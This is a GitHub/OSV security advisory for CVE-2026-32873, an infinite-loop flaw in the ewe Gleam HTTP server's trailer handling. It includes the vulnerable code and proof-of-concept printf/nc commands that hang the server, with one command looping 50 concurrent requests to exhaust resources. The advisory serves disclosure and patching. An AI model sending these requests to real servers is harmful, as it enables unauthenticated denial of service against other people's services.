CVE-2026-32873: Ewe Loop With Unreachable Exit Condition Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-4w98-xf39-23gp",
  "modified" : "2026-04-24T20:27:31Z",
  "published" : "2026-03-16T20:49:50Z",
  "aliases" : [ "CVE-2026-32873" ],
  "summary" : "Loop with Unreachable Exit Condition ('Infinite Loop') in ewe",
  "details" : "## Summary\n\newe's `handle_trailers` function contains a bug where rejected trailer headers (forbidden or undeclared) cause an infinite loop. The function recurses with the original unparsed buffer instead of advancing past the rejected header, re-parsing the same header forever. Each malicious request permanently wedges a BEAM process at 100% CPU with no timeout or escape.\n\n## Impact\n\nWhen `handle_trailers` (`ewe/internal/http1.gleam:493`) encounters a trailer that is either not in the declared trailer set or is blocked by `is_forbidden_trailer`, three code paths (lines 520, 523, 526) recurse with the original buffer `rest` instead of `Buffer(header_rest, 0)`:\n\n```gleam\n// Line 523 — uses `rest` (original buffer), not `Buffer(header_rest, 0)` (remaining)\nFalse -> handle_trailers(req, set, rest)\n```\n\nThis causes `decoder.decode_packet` to re-parse the same header on every iteration, producing an infinite loop. The BEAM process never yields, never times out, and never terminates.\n\n**Any ewe application that calls `ewe.read_body` on chunked requests is affected.** This is exploitable by any unauthenticated remote client. There is no application-level workaround — the infinite loop is triggered inside `read_body` before control returns to application code.\n\n### Proof of Concept\n\n**Send a chunked request with a forbidden trailer (`host`) to trigger the infinite loop:**\n\n```sh\nprintf 'POST / HTTP/1.1\\r\\nHost: localhost:8080\\r\\nTransfer-Encoding: chunked\\r\\nTrailer: host\\r\\n\\r\\n4\\r\\ntest\\r\\n0\\r\\nhost: evil.example.com\\r\\n\\r\\n' | nc -w 3 localhost 8080\n```\n\nThis will hang (no response) until the `nc` timeout. The server-side handler process is stuck forever.\n\n**Exhaust server resources with concurrent requests:**\n\n```sh\nfor i in $(seq 1 50); do\n  printf 'POST / HTTP/1.1\\r\\nHost: localhost:8080\\r\\nTransfer-Encoding: chunked\\r\\nTrailer: host\\r\\n\\r\\n4\\r\\ntest\\r\\n0\\r\\nhost: evil.example.com\\r\\n\\r\\n' | nc -w 1 localhost 8080 &\ndone\n```\n\nOpen the Erlang Observer (`observer:start()`) and sort the Processes tab by Reductions to see the stuck processes with continuously climbing reduction counts.\n\n### Vulnerable Code\n\nAll three `False`/`Error` branches in `handle_trailers` have the same bug:\n\n```gleam\n// ewe/internal/http1.gleam, lines 493–531\nfn handle_trailers(\n  req: Request(BitArray),\n  set: Set(String),\n  rest: Buffer,\n) -> Request(BitArray) {\n  case decoder.decode_packet(HttphBin, rest) {\n    Ok(Packet(HttpEoh, _)) -> req\n    Ok(Packet(HttpHeader(idx, field, value), header_rest)) -> {\n      // ... field name parsing ...\n      case field_name {\n        Ok(field_name) -> {\n          case\n            set.contains(set, field_name) && !is_forbidden_trailer(field_name)\n          {\n            True -> {\n              case bit_array.to_string(value) {\n                Ok(value) -> {\n                  request.set_header(req, field_name, value)\n                  |> handle_trailers(set, Buffer(header_rest, 0))  // correct\n                }\n                Error(Nil) -> handle_trailers(req, set, rest)      // BUG: line 520\n              }\n            }\n            False -> handle_trailers(req, set, rest)               // BUG: line 523\n          }\n        }\n        Error(Nil) -> handle_trailers(req, set, rest)              // BUG: line 526\n      }\n    }\n    _ -> req\n  }\n}\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Hex",
      "name" : "ewe"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.8.0"
      }, {
        "fixed" : "3.0.5"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/vshakitskiy/ewe/security/advisories/GHSA-4w98-xf39-23gp"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-32873"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/vshakitskiy/ewe/commit/8513de9dcdd0005f727c0f6f15dd89f8d626f560"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/vshakitskiy/ewe/commit/d8b9b8a86470c0cb5696647997c2f34763506e37"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/vshakitskiy/ewe"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-825", "CWE-835" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-16T20:49:50Z",
    "nvd_published_at" : "2026-03-20T02:16:35Z"
  }
}